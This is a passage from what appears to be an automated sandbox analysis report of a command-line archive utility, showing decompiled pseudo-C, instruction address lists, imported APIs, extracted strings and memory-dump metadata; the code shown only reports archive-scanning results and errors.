					_t1035 = E01261045(_t1406 - 0xd0,  *( *(_t1406 - 0x54)));
					 *(_t1406 - 4) = 9;
					E01231ABD(_t1035,  *(_t1406 - 0x54));
					_t1397 = _t1397 + 1;
					if(_t1397 <  *((intOrPtr*)(_t1406 - 0x148))) {
						continue;
					}
					goto L23;
				}
				goto L37;
			}

0x0125e64b
0x0125e64b
0x0125e64b
0x0125e653
0x0125e664
0x0125e665
0x0125e670
0x0125e673
0x0125e683
0x0125e683
0x0125e68b
0x0125e68c
0x0125e68f
0x0125e6ac
0x0125e6ac
0x0125e6af
0x0125e6b0
0x0125e6b6
0x0125e6b9
0x0125e6bb
0x0125e6bf
0x0125e6cc
0x0125e6cc
0x0125e6c1
0x0125e6c8
0x0125e6c8
0x0125e6d4
0x0125e6d7
0x0125e6db
0x0125e6e7
0x0125e6eb
0x0125e6f2
0x0125e6f7
0x0125e702
0x0125e70f
0x0125e718
0x0125e71c
0x0125e722
0x0125e725
0x0125e72c
0x0125e737
0x0125e73f
0x0125e742
0x0125e763
0x0125e76d
0x0125e772
0x0125e772
0x0125e779
0x0125e77d
0x0125e789
0x0125e791
0x0125e796
0x0125e797
0x0125e797
0x0125e79c
0x0125e7a1
0x0125e7a6
0x0125e7ac
0x0125e7ad
0x0125e7ad
0x0125e7b2
0x0125e7b8
0x0125e7be
0x0125e7ca
0x0125e7d0
0x0125e7d3
0x0125e7de
0x0125e7e0
0x0125e7e5
0x0125e7ea
0x0125e7f0
0x0125e7f1
0x0125e7f1
0x0125e7f6
0x0125e7fc
0x0125e802
0x0125e808
0x0125e810
0x0125e814
0x0125e870
0x0125e874
0x0125e888
0x0125e895
0x00000000
0x0125e87f
0x0125e87f
0x0125e886
0x0125e89a
0x0125e8a1
0x0125e8a4
0x0125e8a7
0x0125ee76
0x0125ee7d
0x0125eed9
0x0125eedd
0x0125f24b
0x0125f24b
0x0125f24d
0x0125f250
0x0125f253
0x0125f256
0x0125f259
0x0125f25c
0x0125f25f
0x0125f266
0x0125f26c
0x0125f270
0x0125f295
0x0125f2a0
0x0125f2aa
0x0125f2af
0x0125f2bf
0x0125f2c6
0x0125f2c8
0x0125f2ce
0x0125f2da
0x0125f2e3
0x0125f2ed
0x0125f2ef
0x0125f2f5
0x0125f2f7
0x0125f2fe
0x0125f309
0x0125f30f
0x0125f30f
0x0125f2fe
0x0125f31a
0x0125f320
0x0125f326
0x0125f32c
0x0125f332
0x0125f338
0x0125f33e
0x0125f344
0x0125f34a
0x0125f350
0x0125f356
0x0125f35c
0x0125f35f
0x0125f367
0x0125f374
0x0125f37b
0x0125f37f
0x0125f383
0x0125f384
0x0125f38b
0x0125f38f
0x0125f394
0x0125f397
0x0125f39e
0x0125f3a3
0x0125f3aa
0x0125f3b4
0x0125f3b4
0x0125f3b9
0x0125f3bc
0x0125f3be
0x0125f3c5
0x0125f3d3
0x0125f3d4
0x0125f3d4
0x0125f3c5
0x0125f3df
0x0125f3e3
0x0125f3e8
0x0125f3eb
0x0125fab8
0x0125fabb
0x0125fabf
0x0125fac7
0x0125facb
0x00000000
0x0125f3f1
0x0125f3f1
0x0125f3f1
0x0125f3f5
0x0125f9c8
0x0125f9cc
0x0125f9d3
0x0125f9da
0x0125f9e1
0x0125f9e2
0x0125f9e5
0x0125f9eb
0x0125f9ee
0x0125f9f1
0x0125f9f6
0x0125f9fc
0x0125f9fc
0x0125fa02
0x0125fa06
0x0125fa12
0x0125fa18
0x0125fa1c
0x0125fa23
0x0125fa29
0x0125fa2a
0x0125fa2f
0x0125fa36
0x0125fa3e
0x0125fa74
0x0125fa74
0x0125fa77
0x0125fa7e
0x0125fa7e
0x0125fa85
0x0125fa89
0x0125fa99
0x0125faac
0x0125faac
0x0125fab1
0x00000000
0x0125fab1
0x0125fa79
0x0125fa7c
0x00000000
0x00000000
0x00000000
0x0125fa40
0x0125fa40
0x0125fa43
0x0125fa4a
0x0125fa4c
0x0125fa5c
0x0125fa6f
0x00000000
0x0125fa6f
0x0125fa45
0x0125fa48
0x00000000
0x00000000
0x00000000
0x0125fa48
0x0125fa3e
0x0125f3fb
0x0125f400
0x0125f406
0x0125f409
0x0125f40b
0x0125f40f
0x0125f41c
0x0125f41c
0x0125f411
0x0125f418
0x0125f418
0x0125f41e
0x0125f420
0x0125f424
0x0125f427
0x0125f42c
0x0125f42c
0x0125f435
0x0125f43b
0x0125f448
0x0125f44c
0x0125f462
0x0125f467
0x0125f46e
0x0125f471
0x0125f47d
0x0125f486
0x0125f48c
0x0125f491
0x0125f491
0x0125f492
0x0125f492
0x0125f49e
0x0125f4b0
0x0125f4b4
0x0125f4bf
0x0125f4c6
0x0125f4cc
0x0125f4d2
0x0125f4d8
0x0125f4e1
0x0125f4ed
0x0125f4f4
0x0125f4fc
0x0125f507
0x0125f50b
0x0125f510
0x0125f516
0x0125f51a
0x0125f51d
0x0125f52b
0x0125f534
0x0125f53b
0x0125f543
0x0125f543
0x0125f554
0x0125f55a
0x0125f55b
0x0125f562
0x0125f565
0x0125f566
0x0125f573
0x0125f574
0x0125f575
0x0125f57c
0x0125f586
0x0125f58d
0x0125f58e
0x0125f593
0x0125f599
0x0125f59c
0x0125f5a0
0x0125f5a3
0x0125f5a3
0x0125f5a8
0x0125f5ab
0x0125f5ad
0x0125f5b2
0x0125f5b4
0x0125f5b8
0x0125f5bb
0x0125f5ca
0x0125f5d1
0x0125f5d9
0x0125f5e3
0x0125f5e3
0x0125f5e8
0x0125f5eb
0x0125f5ed
0x0125f5ed
0x0125f5eb
0x0125f5f4
0x0125f5fa
0x0125f5fe
0x0125f600
0x0125f664
0x0125f66a
0x0125f670
0x0125f672
0x0125f674
0x0125f678
0x0125f681
0x0125f69a
0x0125f69a
0x0125f678
0x0125f6a5
0x0125f6ab
0x0125f6de
0x0125f6de
0x0125f6e0
0x0125f6e8
0x0125f6e8
0x0125f6ee
0x0125f6f1
0x0125f6fa
0x0125f6fd
0x0125f712
0x0125f712
0x0125f71d
0x0125f723
0x0125f727
0x0125f732
0x0125f738
0x0125f741
0x0125f75a
0x0125f75a
0x0125f738
0x0125f723
0x00000000
0x0125f6ad
0x0125f6ad
0x0125f6af
0x0125f6b3
0x0125f75f
0x0125f765
0x0125f76b
0x0125f7af
0x0125f7af
0x0125f7b3
0x0125f7bc
0x0125f7bc
0x0125f7be
0x0125f975
0x0125f97b
0x0125f987
0x0125f993
0x0125f9a2
0x0125f9a7
0x0125f9aa
0x0125f9ae
0x0125f9b7
0x0125f9b7
0x00000000
0x0125f9ae
0x0125f7ca
0x0125f7d0
0x0125f939
0x0125f93b
0x0125f946
0x0125f946
0x0125f94c
0x0125f94f
0x0125f958
0x0125f95b
0x0125f970
0x0125f970
0x00000000
0x0125f94f
0x0125f7dc
0x0125f7dc
0x0125f7e2
0x0125f7e5
0x00000000
0x00000000
0x0125f7eb
0x0125f7ef
0x00000000
0x00000000
0x0125f7f5
0x0125f7fd
0x0125f803
0x0125f80c
0x0125f825
0x0125f82a
0x0125f82a
0x0125f830
0x0125f837
0x0125f855
0x0125f85c
0x0125f875
0x0125f880
0x0125f883
0x0125f88c
0x0125f8a2
0x0125f8ae
0x0125f8c7
0x0125f8c7
0x00000000
0x0125f839
0x0125f839
0x0125f840
0x00000000
0x00000000
0x0125f842
0x0125f848
0x00000000
0x00000000
0x0125f850
0x0125f853
0x0125f8cc
0x0125f8d3
0x0125f8ec
0x0125f8ef
0x0125f8fe
0x0125f918
0x0125f91d
0x0125f921
0x0125f925
0x0125f932
0x0125f932
0x00000000
0x0125f921
0x00000000
0x0125f853
0x0125f837
0x0125f7b5
0x0125f7b5
0x00000000
0x0125f7b5
0x0125f76d
0x0125f76f
0x0125f773
0x00000000
0x00000000
0x0125f777
0x0125f782
0x0125f788
0x00000000
0x00000000
0x0125f791
0x0125f7aa
0x00000000
0x0125f7aa
0x0125f6c0
0x0125f6d9
0x00000000
0x0125f6d9
0x0125f602
0x0125f604
0x0125f609
0x0125f610
0x0125f61b
0x0125f622
0x0125f625
0x0125f63a
0x0125f646
0x0125f65f
0x00000000
0x0125f65f
0x0125f612
0x0125f619
0x00000000
0x00000000
0x00000000
0x0125f619
0x0125f600
0x0125f3eb
0x0125f27b
0x0125f27c
0x0125f28a
0x0125f28b
0x00000000
0x0125f28b
0x0125eee3
0x0125eeea
0x00000000
0x00000000
0x0125eef6
0x0125eefb
0x0125eefd
0x0125f10a
0x0125f111
0x0125f240
0x0125f241
0x0125f117
0x0125f11d
0x0125f122
0x0125f125
0x0125f129
0x0125f12e
0x0125f12e
0x0125f12f
0x0125f12f
0x0125f135
0x0125f13b
0x0125f147
0x0125f152
0x0125f15e
0x0125f164
0x0125f16a
0x0125f170
0x0125f176
0x0125f187
0x0125f18b
0x0125f192
0x0125f199
0x0125f1a8
0x0125f1ab
0x0125f1ba
0x0125f1be
0x0125f1c3
0x0125f1c8
0x0125f1ca
0x0125f1cc
0x0125f1ce
0x0125f1ce
0x0125f1d4
0x0125f1e2
0x0125f1e6
0x0125f1ed
0x0125f1f4
0x0125f1fd
0x0125f206
0x0125f21d
0x0125f223
0x0125f22e
0x0125f22e
0x00000000
0x0125f111
0x0125ef03
0x0125ef0a
0x0125ef0c
0x0125ef12
0x0125ef1f
0x0125ef1f
0x0125ef12
0x0125ef2a
0x0125ef2f
0x0125ef34
0x0125ef37
0x0125ef3e
0x0125ef44
0x0125ef49
0x0125ef4d
0x0125ef53
0x0125ef59
0x0125ef69
0x0125ef69
0x0125ef69
0x0125ef69
0x00000000
0x0125ef5b
0x0125ef5b
0x0125ef61
0x00000000
0x00000000
0x0125ef63
0x0125ef6d
0x0125ef76
0x0125ef83
0x0125ef8e
0x0125ef99
0x0125ef9b
0x0125efa4
0x0125efa8
0x0125efae
0x0125efb3
0x0125efb3
0x0125efb4
0x0125efb4
0x0125efbd
0x0125efc4
0x0125efca
0x0125efdd
0x0125efdd
0x0125efdd
0x0125efdd
0x00000000
0x0125efcc
0x0125efcc
0x0125efd2
0x00000000
0x00000000
0x0125efd4
0x0125efe4
0x0125eff1
0x0125effc
0x0125f002
0x0125f00e
0x0125f014
0x0125f01c
0x0125f026
0x0125f02c
0x0125f032
0x0125f038
0x0125f06e
0x0125f072
0x0125f077
0x0125f07e
0x0125f081
0x0125f08b
0x0125f08b
0x0125f090
0x0125f095
0x0125f097
0x0125f099
0x0125f09b
0x0125f09b
0x0125f0a1
0x0125f0a3
0x0125f0a7
0x0125f0b3
0x0125f0ba
0x0125f0c3
0x0125f0c9
0x0125f0d5
0x0125f0db
0x0125f0e5
0x0125f0ea
0x0125f0f4
0x0125f100
0x00000000
0x0125f100
0x0125efca
0x0125ef59
0x0125ee7f
0x0125ee84
0x0125ee86
0x0125ee88
0x0125ee88
0x0125eea1
0x0125eea6
0x0125eea9
0x0125eeac
0x0125eeb2
0x0125eeb7
0x0125eeb9
0x0125eec2
0x0125eec9
0x0125eeca
0x0125eed1
0x0125eed1
0x00000000
0x0125e8ad
0x0125e8ad
0x0125e8b2
0x0125e8b4
0x0125e8b6
0x0125e8b8
0x0125e8b8
0x0125e8bf
0x0125e8cb
0x0125e8d5
0x0125e8dd
0x0125e8e1
0x0125e8e9
0x0125e928
0x0125e92a
0x0125e936
0x0125e940
0x0125e94a
0x0125e94f
0x0125e958
0x0125e95e
0x0125eb87
0x0125eb89
0x0125eb95
0x0125eb9f
0x0125eba4
0x0125ebaf
0x0125ec58
0x0125ec58
0x0125ec5b
0x0125ec5e
0x0125ec5f
0x0125ec67
0x0125ed4d
0x0125ed4f
0x0125ed5b
0x0125ed65
0x0125ed6a
0x0125ed75
0x0125eddc
0x0125eddf
0x0125ede5
0x0125ede8
0x0125edea
0x0125eded
0x0125edef
0x0125fad0
0x0125fad7
0x0125fae2
0x0125fae2
0x0125faf5
0x0125fafb
0x0125fb05
0x0125fb0a
0x0125fb0d
0x0125fb11
0x0125fb13
0x0125fb15
0x0125fb15
0x0125fb20
0x0125fb24
0x0125fb2f
0x0125fb33
0x0125fb38
0x0125fb42
0x0125fb47
0x0125fb4e
0x0125fb53
0x0125fb5c
0x0125fb64
0x00000000
0x00000000
0x00000000
0x0125edf5
0x0125edf5
0x0125ee02
0x0125ee16
0x0125ee1f
0x0125ee30
0x0125ee3d
0x0125ee46
0x0125ee4b
0x0125ee52
0x0125ee58
0x0125ee65
0x0125ee6a
0x0125ee6c
0x00000000
0x0125ee71
0x0125ed77
0x0125ed7e
0x0125ed86
0x0125ed88
0x0125ed8d
0x0125ed94
0x0125ed9d
0x0125eda9
0x0125edb2
0x0125edba
0x0125edc0
0x0125edc5
0x0125edca
0x0125edcd
0x0125edd4
0x0125edd4
0x00000000
0x0125ed7e
0x0125ec6d
0x0125ec72
0x00000000
0x00000000
0x00000000
0x00000000
0x0125ec78
0x0125ec78
0x0125ec81
0x0125ec85
0x0125ec8d
0x0125ec96
0x0125eca5
0x0125ec98
0x0125ec9c
0x0125ec9f
0x0125ecae
0x0125ecb7
0x0125ecc1
0x0125ecc9
0x0125ecd2
0x0125ecdc
0x0125ece2
0x0125ece7
0x0125eced
0x0125ecee
0x0125ecf6
0x0125ecf8
0x0125ecfc
0x0125ecfc
0x0125ecfc
0x0125ecfc
0x0125ed08
0x0125ed15
0x0125ed1e
0x0125ed23
0x0125ed2a
0x0125ed30
0x0125ed3d
0x0125ed42
0x0125ed44
0x00000000
0x0125ec78
0x0125ebb5
0x0125ebbc
0x0125ebbf
0x0125ebc4
0x0125ebc6
0x0125ebcb
0x0125ebd1
0x0125ebe0
0x0125ebd3
0x0125ebd7
0x0125ebda
0x0125ebf9
0x0125ec0e
0x0125ec14
0x0125ec21
0x0125ec2a
0x0125ec32
0x0125ec38
0x0125ec3d
0x0125ec42
0x0125ec45
0x0125ec4c
0x0125ec4c
0x00000000
0x0125ebbc
0x0125e964
0x0125e96d
0x0125e98e
0x0125e990
0x0125e99d
0x0125e9e3
0x0125e9e7
0x0125e9ea
0x0125e9f2
0x0125e9fb
0x0125ea02
0x0125ea07
0x0125ea0f
0x0125ea13
0x0125ea72
0x0125ea74
0x0125ea79
0x0125ea82
0x0125ea8a
0x0125ea93
0x0125eaa9
0x0125eaac
0x0125eaad
0x0125eab5
0x0125eb61
0x0125eb63
0x0125eb68
0x0125eb6f
0x0125eb74
0x0125eb81
0x00000000
0x00000000
0x00000000
0x0125eabb
0x0125eabb
0x0125eabf
0x0125eac8
0x0125eacf
0x0125ead6
0x0125eada
0x0125eadd
0x0125eae4
0x0125eae6
0x0125eaea
0x0125eaf0
0x0125eaf2
0x0125eaf6
0x0125eafc
0x0125eb01
0x0125eb07
0x0125eb0a
0x0125eb0d
0x0125eb13
0x0125eb1a
0x0125eb1a
0x0125eb15
0x0125eb15
0x0125eb15
0x0125eb23
0x0125eb29
0x0125eb30
0x0125eb37
0x0125eb37
0x0125eb32
0x0125eb32
0x0125eb32
0x0125eb30
0x0125eb40
0x0125eb42
0x0125eb45
0x0125eb4d
0x0125eae6
0x0125eb52
0x0125eb58
0x00000000
0x0125eabb
0x00000000
0x00000000
0x00000000
0x0125ea15
0x0125ea15
0x0125ea15
0x0125ea19
0x0125ea1e
0x0125ea1e
0x0125ea30
0x0125ea33
0x0125ea3f
0x0125ea49
0x0125ea58
0x0125ea62
0x0125ea62
0x0125ea67
0x0125ea6d
0x00000000
0x0125ea15
0x0125e99f
0x0125e99f
0x0125e9a4
0x0125e9a9
0x0125e9c9
0x0125e9c9
0x00000000
0x0125e9ab
0x0125e9ab
0x0125e9ab
0x0125e9cb
0x0125e9d1
0x0125e9d3
0x0125e9e1
0x00000000
0x00000000
0x00000000
0x0125e9e1
0x00000000
0x00000000
0x00000000
0x0125e8eb
0x0125e8eb
0x0125e8eb
0x0125e8f0
0x0125e905
0x0125e908
0x0125e90c
0x0125e918
0x0125e91d
0x0125e923
0x00000000
0x0125e8eb
0x0125e8a7
0x00000000
0x0125e886
0x00000000
0x00000000
0x00000000
0x0125e816
0x0125e816
0x0125e816
0x0125e819
0x0125e81c
0x0125e828
0x0125e82e
0x0125e832
0x0125e83a
0x0125e9b3
0x0125e9b8
0x0125e9bd
0x0125e9c3
0x0125e9c4
0x0125e9c4
0x0125e9c4
0x0125e855
0x0125e85a
0x0125e861
0x0125e866
0x0125e86e
0x00000000
0x00000000
0x00000000
0x0125e86e
0x00000000

APIs

Part of subcall function 01260640: fputs.MSVCRT ref: 01260659
Part of subcall function 01260640: fputs.MSVCRT ref: 01260669

Part of subcall function 0123B97D: _CxxThrowException.MSVCRT(?,0126DED0), ref: 0123B9B1
Part of subcall function 0123B97D: _CxxThrowException.MSVCRT(?,0126DED0), ref: 0123B9E8
Part of subcall function 0123B97D: wcscmp.MSVCRT ref: 0123BA56

GetStdHandle.KERNEL32(000000F5,?,?), ref: 0125E697
GetConsoleScreenBufferInfo.KERNEL32(00000000), ref: 0125E69E
_CxxThrowException.MSVCRT(?,01270E80), ref: 0125E797
_CxxThrowException.MSVCRT(?,0126DA90), ref: 0125E7AD

Strings

[!, xrefs: 0125E895
.(, xrefs: 0125E6DB
Libs:, xrefs: 0125E8C6
offset=, xrefs: 0125EA8E
Can't load module: , xrefs: 0125E765
Formats:, xrefs: 0125E931
|| , xrefs: 0125EAC3
Hashers:, xrefs: 0125ED56
F#v, xrefs: 0125E8B8, 0125E8C4, 0125E8FB, 0125E92F, 0125E97E
KSNFMGOPBELH, xrefs: 0125E945
Codecs:, xrefs: 0125EB90

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ExceptionThrow$fputs$BufferConsoleHandleInfoScreenwcscmp
String ID: || $ F#v$Can't load module: $Codecs:$Formats:$Hashers:$KSNFMGOPBELH$Libs:$offset=$.($[!
API String ID: 3991676522-339194141
Opcode ID: d134d6aac73a24daa701848aea64b487f42002157c8ab15774e87efa21a0664f
Instruction ID: 2579c9fdb413704fd0c92d6a0649e718e9ec58fc117ce35f6be8c25a465ac3c8
Opcode Fuzzy Hash: d134d6aac73a24daa701848aea64b487f42002157c8ab15774e87efa21a0664f
Instruction Fuzzy Hash: 4F42CE71E2020ADFDF65EFA8D884ABDBBB5FF58300F104049E945A7291DB349A90CF65

Uniqueness

Uniqueness Score: -1.00%

Function 0125F2F7 Relevance: 53.0, APIs: 14, Strings: 16, Instructions: 497
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0125F2F7(intOrPtr* __eax, intOrPtr* __ebx, struct _IO_FILE** __edi) {
				void* _t246;
				intOrPtr _t247;
				intOrPtr _t259;
				signed int _t264;
				intOrPtr _t268;
				signed int _t277;
				signed int _t289;
				intOrPtr _t301;
				void* _t317;
				signed int _t323;
				struct _IO_FILE** _t383;
				intOrPtr _t397;
				intOrPtr* _t406;
				struct _IO_FILE** _t553;
				signed int _t557;
				void* _t559;
				intOrPtr _t572;

				_t553 = __edi;
				_t406 = __ebx;
				_t562 =  *((char*)(_t559 - 0x334));
				if( *((char*)(_t559 - 0x334)) != 0) {
					_push( *__eax);
					_push("Scanning the drive for archives:");
					 *__ebx();
					E01231CAE(__eax);
				}
				 *(_t559 - 0xac) = _t553;
				 *(_t559 - 0xa8) = _t553;
				 *(_t559 - 0xa4) = _t553;
				 *(_t559 - 0xa0) = _t553;
				 *(_t559 - 0x9c) = _t553;
				 *(_t559 - 0x98) = _t553;
				 *(_t559 - 0x94) = _t553;
				 *(_t559 - 0x90) = _t553;
				 *(_t559 - 0x8c) = _t553;
				 *(_t559 - 0x88) = _t553;
				 *(_t559 - 0x84) = _t553;
				 *(_t559 - 0x80) = _t553;
				E0125A34A(_t559 - 0x3fc);
				_t246 = E012328E9(_t559 - 0x60);
				_push(_t559 - 0x3fc);
				_push(_t559 - 0xac);
				_push(_t559 - 0x54);
				_push(_t559 - 0x48);
				_push(_t246);
				 *(_t559 - 4) = 0xf;
				_t247 = E01248549(_t406, _t559 - 0x2e4, 0, _t553, _t562); // executed
				 *((intOrPtr*)(_t559 - 0x20)) = _t247;
				 *(_t559 - 4) = 0xe;
				E01231ABD(_t247,  *((intOrPtr*)(_t559 - 0x60)));
				if( *((intOrPtr*)(_t559 - 0x348)) != _t553) {
					E0126183F(_t559 - 0x3ec, _t553, 1);
				}
				if( *((intOrPtr*)(_t559 - 0x20)) == _t553) {
					_t565 =  *((char*)(_t559 - 0x334));
					if( *((char*)(_t559 - 0x334)) != 0) {
						_push(_t559 - 0xac);
						E0125A6F7(_t559 - 0x3fc);
					}
				}
				 *(_t559 - 4) = 0xd;
				E012617A6(_t559 - 0x3ec, _t553, _t565);
				if( *((intOrPtr*)(_t559 - 0x20)) != _t553) {
					L75:
					 *(_t559 - 4) = 0xc;
					E01248B2E(_t406, _t559 - 0x54);
					 *(_t559 - 4) = 9;
					E01248B2E(_t406, _t559 - 0x48);
					if( *((char*)(_t559 - 0x2f7)) != 0 &&  *0x12746fc != 0) {
						E01260A10();
					}
					E01231ABD(E012609F5( *((intOrPtr*)(_t559 - 0x20))),  *((intOrPtr*)(_t559 - 0xd0)));
					 *(_t559 - 4) = 6;
					E01249E21(_t559 - 0xc4);
					_t422 =  *((intOrPtr*)(_t559 - 0x1c));
					 *(_t559 - 4) = 5;
					_t608 =  *((intOrPtr*)(_t559 - 0x1c));
					if( *((intOrPtr*)(_t559 - 0x1c)) != 0) {
						E0124BD18(_t422);
					}
					 *(_t559 - 4) = 3;
					E0125FCF6(_t406, _t559 - 0xf0);
					 *(_t559 - 4) = 2;
					E012311BB(_t406, _t559 - 0x448, _t553);
					 *(_t559 - 4) =  *(_t559 - 4) & 0x00000000;
					E01260E30(_t406, _t559 - 0x33c, _t608);
					 *(_t559 - 4) =  *(_t559 - 4) | 0xffffffff;
					E01248B2E(_t406, _t559 - 0x7c);
					_t259 =  *((intOrPtr*)(_t559 - 0x3c));
					 *[fs:0x0] =  *((intOrPtr*)(_t559 - 0xc));
					return _t259;
				}
				if( *(_t559 - 0xd) == 0) {
					_push(_t559 - 0x38);
					_push(_t559 - 0x2c);
					_push(_t559 - 0x2c0);
					_push(_t559 - 0x304);
					_push(_t559 - 0x308);
					 *(_t559 - 0x2c) = _t553;
					_push( *((intOrPtr*)(_t559 - 0x2f8)));
					 *(_t559 - 0x28) = _t553;
					 *(_t559 - 0x38) = _t553;
					 *(_t559 - 0x34) = _t553;
					_push( *((intOrPtr*)(_t559 - 0x334)));
					_t264 =  *((intOrPtr*)( *((intOrPtr*)(_t559 - 0x330)))) + 0xc;
					__eflags = _t264;
					_push(_t264);
					_push( *((intOrPtr*)(_t559 - 0x28e)));
					_push( *((intOrPtr*)(_t559 - 0x296)));
					_push(_t559 - 0x54);
					_push(_t559 - 0x48);
					_push( *((intOrPtr*)(_t559 - 0x336)));
					_push(_t559 - 0xd0);
					_t268 = L0125D42A( *((intOrPtr*)(_t559 - 0x1c)), _t559 - 0xc4, _t264);
					__eflags =  *((char*)(_t559 - 0x334));
					 *((intOrPtr*)(_t559 - 0x20)) = _t268;
					if( *((char*)(_t559 - 0x334)) == 0) {
						L70:
						__eflags =  *(_t559 - 0x28) - _t553;
						if( *(_t559 - 0x28) > _t553) {
							L72:
							__eflags =  *((char*)(_t559 - 0x334));
							if( *((char*)(_t559 - 0x334)) != 0) {
								E01231CAE(0x1274440);
								 *_t406("Errors: ",  *0x1274440);
								E01231CAE(E01231F47(0x1274440,  *(_t559 - 0x2c),  *(_t559 - 0x28)));
							}
							 *((intOrPtr*)(_t559 - 0x3c)) = 2;
							goto L75;
						}
						__eflags =  *(_t559 - 0x2c) - _t553;
						if( *(_t559 - 0x2c) <= _t553) {
							goto L75;
						}
						goto L72;
					} else {
						__eflags =  *(_t559 - 0x34) - _t553;
						if( *(_t559 - 0x34) > _t553) {
							L69:
							E01231CAE(0x1274440);
							 *_t406("Warnings: ",  *0x1274440);
							E01231CAE(E01231F47(0x1274440,  *(_t559 - 0x38),  *(_t559 - 0x34)));
							goto L70;
						}
						__eflags =  *(_t559 - 0x38) - _t553;
						if( *(_t559 - 0x38) <= _t553) {
							goto L70;
						}
						goto L69;
					}
				} else {
					_push(0x178);
					_t277 = E01231A96();
					 *(_t559 - 0x34) = _t277;
					_t568 = _t277 - _t553;
					 *(_t559 - 4) = 0x10;
					if(_t277 == _t553) {
						_t557 = 0;
						__eflags = 0;
					} else {
						_t557 = E01260157(_t277, _t568);
					}
					 *(_t559 - 4) = 0xd;
					 *(_t559 - 0x34) = _t557;
					if(_t557 != _t553) {
						 *((intOrPtr*)( *_t557 + 4))(_t557);
					}
					_t41 = _t557 + 0xe4; // 0xe4
					 *((char*)(_t557 + 0xe1)) =  *((intOrPtr*)(_t559 - 0x308));
					 *(_t559 - 4) = 0x11;
					E01232A8C(_t41, _t559 - 0x304);
					 *((char*)(_t557 + 0xe0)) = E012602D6(_t557,  *0x12746fc,  *0x1274700,  *((intOrPtr*)(_t559 - 0x18))) & 0xffffff00 |  *((intOrPtr*)(_t559 - 0x44)) - 0x00000001 > 0x00000000;
					 *((intOrPtr*)(_t557 + 0x170)) =  *((intOrPtr*)(_t559 - 0x134));
					 *(_t557 + 0x16c) =  *(_t559 - 0x24);
					if( *((intOrPtr*)(_t559 - 0x18)) != _t553) {
						_t397 =  *(_t559 - 0x14) - 1;
						_t572 = _t397;
						 *((intOrPtr*)(_t557 + 0xc4)) = _t397;
					}
					E0125FD74(_t559 - 0x12c, _t572);
					 *(_t559 - 4) = 0x12;
					E01260F65(_t559 - 0x12c, _t559 - 0x2b4);
					 *((char*)(_t559 - 0x108)) =  *((intOrPtr*)(_t559 - 0x336));
					_t289 =  *((intOrPtr*)(_t559 - 0x333));
					 *(_t559 - 0x106) = _t289;
					 *(_t559 - 0x107) = _t289;
					 *((char*)(_t559 - 0x105)) = _t289 & 0xffffff00 |  *((intOrPtr*)(_t559 - 0x318)) == 0x00000003;
					_push(_t559 - 0x2c0);
					E0123D18C(_t559 - 0x104);
					E012328E9(_t559 - 0x60);
					 *(_t559 - 4) = 0x13;
					E0124ADD3(_t559 - 0x39c);
					 *(_t559 - 4) = 0x14;
					 *(_t559 - 0x14) = _t553;
					if( *((intOrPtr*)(_t559 - 0x2f0)) != _t553) {
						 *(_t559 - 0x14) = _t559 - 0x39c;
						_push(_t559 - 0x2f4);
						_push(_t559 - 0xf0);
						E012609F5(E0124A2E2(_t559 - 0x39c));
					}
					_push(_t559 - 0xb4);
					_push(_t559 - 0x60);
					_push( *(_t559 - 0x14));
					_t87 = _t557 + 0x10; // 0x10
					_push(_t557);
					asm("sbb edx, edx");
					_push( ~_t557 & _t87);
					_push(_t559 - 0x12c);
					_push( *((intOrPtr*)( *((intOrPtr*)(_t559 - 0x330)))) + 0xc);
					_push(_t559 - 0x54);
					_push(_t559 - 0x48);
					_push(_t559 - 0xd0); // executed
					_t301 = E01248D6E( *((intOrPtr*)(_t559 - 0x1c)), _t559 - 0xc4); // executed
					 *((intOrPtr*)(_t559 - 0x20)) = _t301;
					if( *((intOrPtr*)(_t557 + 0xbc)) != _t553) {
						_t96 = _t557 + 0x18; // 0x18
						E0126183F(_t96, _t553, 1);
					}
					if( *((intOrPtr*)(_t559 - 0x5c)) != _t553) {
						_t383 =  *0x1274700; // 0x1274438
						if(_t383 != _t553) {
							 *(_t559 - 0x24) = _t383;
							E01231CAE(_t383);
							fputs("ERROR:",  *( *(_t559 - 0x24)));
							E01231CAE( *(_t559 - 0x24));
							_push( *((intOrPtr*)(_t559 - 0x60)));
							E01231CAE(E01231CC1( *(_t559 - 0x24)));
						}
						if( *((intOrPtr*)(_t559 - 0x20)) == _t553) {
							 *((intOrPtr*)(_t559 - 0x20)) = 0x80004005;
						}
					}
					_t553 =  *0x12746fc; // 0x1274440
					 *(_t559 - 0xd) =  *(_t559 - 0xd) & 0x00000000;
					if(_t553 != 0) {
						E01231CAE(_t553);
						if( *((intOrPtr*)(_t557 + 0x11c)) > 0 ||  *((intOrPtr*)(_t557 + 0x118)) > 1) {
							fputs("Archives: ",  *_t553);
							_t109 = _t557 + 0x118; // 0x118
							E01231CAE(E01231F47(_t553,  *_t109,  *((intOrPtr*)(_t109 + 4))));
							fputs("OK archives: ",  *_t553);
							E01231CAE(E01231F47(_t553,  *((intOrPtr*)(_t557 + 0x128)),  *((intOrPtr*)(_t557 + 0x12c))));
						}
					}
					if(( *(_t557 + 0x130) |  *(_t557 + 0x134)) != 0) {
						 *(_t559 - 0xd) = 1;
						if(_t553 != 0) {
							fputs("Can\'t open as archive: ",  *_t553);
							E01231CAE(E01231F47(_t553,  *(_t557 + 0x130),  *(_t557 + 0x134)));
						}
					}
					if(( *(_t557 + 0x138) |  *(_t557 + 0x13c)) == 0) {
						L35:
						if(_t553 != 0) {
							_t124 = _t557 + 0x140; // 0x140
							if(( *(_t557 + 0x140) |  *(_t124 + 4)) != 0) {
								fputs("Archives with Warnings: ",  *_t553);
								_t126 = _t557 + 0x140; // 0x140
								E01231CAE(E01231F47(_t553,  *_t126,  *((intOrPtr*)(_t126 + 4))));
							}
							if(( *(_t557 + 0x150) |  *(_t557 + 0x154)) != 0) {
								E01231CAE(_t553);
								if(( *(_t557 + 0x150) |  *(_t557 + 0x154)) != 0) {
									fputs("Warnings: ",  *_t553);
									E01231CAE(E01231F47(_t553,  *(_t557 + 0x150),  *(_t557 + 0x154)));
								}
							}
						}
						goto L41;
					} else {
